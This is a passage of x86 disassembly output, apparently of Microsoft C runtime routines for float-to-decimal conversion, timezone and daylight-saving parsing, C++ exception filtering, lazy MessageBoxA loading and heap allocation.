[eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC78 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC90 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DB470 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DB498, eax add esp, 18h movsx eax, byte_4DB472 mov dword_4DB490, eax pop edi movsx eax, word_4DB470 mov dword_4DB494, eax mov dword_4DB49C, offset dword_4DB474 mov eax, offset dword_4DB490 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043C8B8o ; ___:0043D118o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DB4A0 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DB4A0 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1BC7E8E8h], dl add ah, byte ptr dword_4DB4A0[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DB4A035h, 0D6E89000h, 0C3021BC7h ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 25E0A9Eh test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 28707AAh test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25E0A4Eh test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DB560, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DB560 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DB4A8, ebp mov dword_43CD50, ebx mov dword_43CD40, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DB4B0 call near ptr 2830000h nop cmp eax, ebx jz loc_424A44 mov eax, dword_4DB4B0 mov ecx, dword_4DB504 imul eax, 3Ch cmp word_4DB4F6, bp push 1 pop edx mov dword_43CCA8, eax mov dword_4DB4A8, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43CCA8, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DB54A, bp jz short loc_424887 mov eax, dword_4DB558 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43CCAC, edx imul eax, 3Ch mov dword_43CCB0, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43CCAC, ebp mov dword_43CCB0, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43CD34 push ebx push offset dword_4DB4B4 push edi push dword_4DB344 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43CD34 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43CD34 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43CD38 push ebx push offset dword_4DB508 push edi push dword_4DB344 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43CD38 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DB55C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DB55C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DB55C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43CD34 call sub_41B5F0 mov eax, off_43CD34 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43CCA8, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43CCA8, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43CCAC, eax jz short loc_424A3C push 3 push esi push off_43CD38 call sub_41B5F0 mov eax, off_43CD38 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43CD38 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43CCAC, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43CD40 jnz short loc_424A7C cmp eax, dword_43CD50 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DB4A8, edi jz loc_424B54 movzx ecx, word_4DB556 push ecx cmp word_4DB548, di movzx ecx, word_4DB554 push ecx movzx ecx, word_4DB552 push ecx movzx ecx, word_4DB550 push ecx jnz short loc_424ACE movzx ecx, word_4DB54C push edi push ecx movzx ecx, word_4DB54E push ecx movzx ecx, word_4DB54A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DB54E push ecx push edi movzx ecx, word_4DB54A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DB502 add esp, 2Ch cmp word_4DB4F4, di push eax movzx eax, word_4DB500 push eax movzx eax, word_4DB4FE push eax movzx eax, word_4DB4FC push eax jnz short loc_424B3C movzx eax, word_4DB4F8 push edi push eax movzx eax, word_4DB4FA push eax movzx eax, word_4DB4F6 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DB4FA push eax push edi movzx eax, word_4DB4F6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43CD44 mov eax, dword_43CD54 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43CD48 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43CD58 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43CD58[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43CD8C[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43CD5C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43CD90[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43CD58[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43CD8C[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43CD44, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43CD40, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD48, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43CD54, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43CCB0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD58, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43CD58, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43CD58, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43CD54, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43CD50, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DC7E1[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C302[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DB564, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" nop call near ptr 2680C1Dh mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DB564, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DB568, eax call esi mov dword_4DB56C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DB568 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DB56C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DB564 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DC900 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C2F4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DC904 nop call near ptr 2780000h mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB2FC, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE 